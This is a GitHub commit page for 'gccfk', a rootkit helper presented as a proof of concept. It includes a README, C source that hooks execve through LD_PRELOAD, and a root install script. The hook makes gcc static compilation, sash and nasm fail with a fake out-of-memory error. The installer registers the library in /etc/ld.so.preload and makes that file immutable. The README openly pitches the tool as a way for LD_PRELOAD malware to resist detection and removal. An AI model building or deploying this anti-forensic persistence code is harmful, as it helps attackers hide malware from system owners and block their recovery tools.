Skip to content

Commit df62850

Browse files
author
mempodippy
committed
first commit
0 parents  commit df62850

File tree

3 files changed

+101
-0
lines changed

3 files changed

+101
-0
lines changed

README.md

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# gccfk
2+
## information
3+
Small proof of concept to show how easy it is to break static compilation of binaries with gcc, and also execution of popular statically compiled programs, such as sash. By default, gccfk also breaks execution of nasm, since nasm is used to compile assembly.
4+
## usage
5+
gccfk can coexist with LD_PRELOAD malware to prevent detection/removal by use of statically compiled C programs. You can add your own blacklisted programs in gccfk.c @ static char blacklisted\_progs.
6+
## installation
7+
\# ./install.sh</br>
8+
That's it.
9+
## post-installation
10+
Any shells opened subsequent to installing gccfk will be unable to run sash, nasm, and will be unable to compile C source files with the "-static" flag.
11+
## removal
12+
\# chattr -ia /etc/ld.so.preload && rm /etc/ld.so.preload /lib/gccfk.so
13+
## why break static compilation?
14+
Statically compiling programs is the opposite of dynamically compiling programs. Statically compiled programs don't load any userland libraries, which the LD_PRELOAD attack relies on, and instead just call machine and kernel specific system calls.</br>
15+
Statically or dynamically compiled binaries don't matter when it comes to the kernel, so any system calls manipulated on a kernel level won't change regardless of binary compilation.
16+
## how to bypass gccfk
17+
<a href="https://docs.python.org/2/library/os.html#os.execl">Python os.exec* functions</a></br>
18+
Any function that isn't execve will be able to do everything normally, since gccfk by default doesn't hook the other exec* functions, due to this just being a proof of concept.

gccfk.c

+53
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
/*
2+
*
3+
* Very simple PoC to show how you can break static compilation of binaries with gcc in LD_PRELOAD malware.
4+
* (and execution of certain statically compiled programs, but this can be bypassed easily)
5+
* (no file protection/hiding system is really required for this PoC)
6+
*
7+
*/
8+
9+
#define _GNU_SOURCE
10+
11+
#include <stdio.h>
12+
#include <stdlib.h>
13+
#include <string.h>
14+
#include <unistd.h>
15+
#include <errno.h>
16+
#include <dlfcn.h>
17+
18+
#include <sys/types.h>
19+
#include <sys/stat.h>
20+
21+
static char *blacklisted_progs[] = {"sash", "nasm", NULL};
22+
23+
int (*old_execve)(const char *filename, char *const argv[], char *const envp[]);
24+
25+
int execve(const char *filename, char *const argv[], char *const envp[])
26+
{
27+
if(!old_execve) old_execve = dlsym(RTLD_NEXT, "execve");
28+
29+
int i = 0;
30+
31+
for(i = 0; blacklisted_progs[i] != NULL; i++)
32+
{
33+
if(strstr(argv[0], blacklisted_progs[i]))
34+
{
35+
errno = ENOMEM;
36+
return -1;
37+
}
38+
}
39+
40+
if(strstr(argv[0], "gcc"))
41+
{
42+
for(i = 0; argv[i] != NULL; i++)
43+
{
44+
if(!strcmp(argv[i], "-static"))
45+
{
46+
errno = ENOMEM;
47+
return -1;
48+
}
49+
}
50+
}
51+
52+
return old_execve(filename, argv, envp);
53+
}

install.sh

+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
#!/bin/bash
2+
3+
[ $(id -u) != 0 ] && { echo "Not root. Exiting."; exit; }
4+
5+
read -p "Enter your desired install directory [/lib]: "
6+
if [ -z $REPLY ]; then
7+
INSTALL_DIR="/lib"
8+
else
9+
INSTALL_DIR=$REPLY
10+
fi
11+
12+
echo "Compiling gccfk"
13+
14+
CFLAGS="-ldl"
15+
WFLAGS="-Wall"
16+
FFLAGS="-fomit-frame-pointer -fPIC"
17+
gcc -std=gnu99 gccfk.c -O0 $WFLAGS $FFLAGS -shared $CFLAGS -Wl,--build-id=none -o gccfk.so
18+
strip gccfk.so
19+
20+
echo "gccfk successfully configured and compiled."
21+
echo "Installing gccfk.so to $INSTALL_DIR and injecting into ld.so.preload"
22+
23+
mv gccfk.so $INSTALL_DIR/
24+
echo "$INSTALL_DIR/gccfk.so" > /etc/ld.so.preload
25+
chattr +ia /etc/ld.so.preload
26+
27+
echo "gccfk successfully installed on the system."
28+
echo "Try compiling something statically now. Good luck! (since this is a PoC, you can get by this just by calling execv in a Python script or something)"
29+
echo "Remember you can remove it by setting your environment variable ($OWNER_ENV_VAR) in a root shell and removing ld.so.preload."
30+
echo "Remember to run chattr -ia on ld.so.preload, or else you'll be unable to remove it. :p"

0 commit comments

Comments
 (0)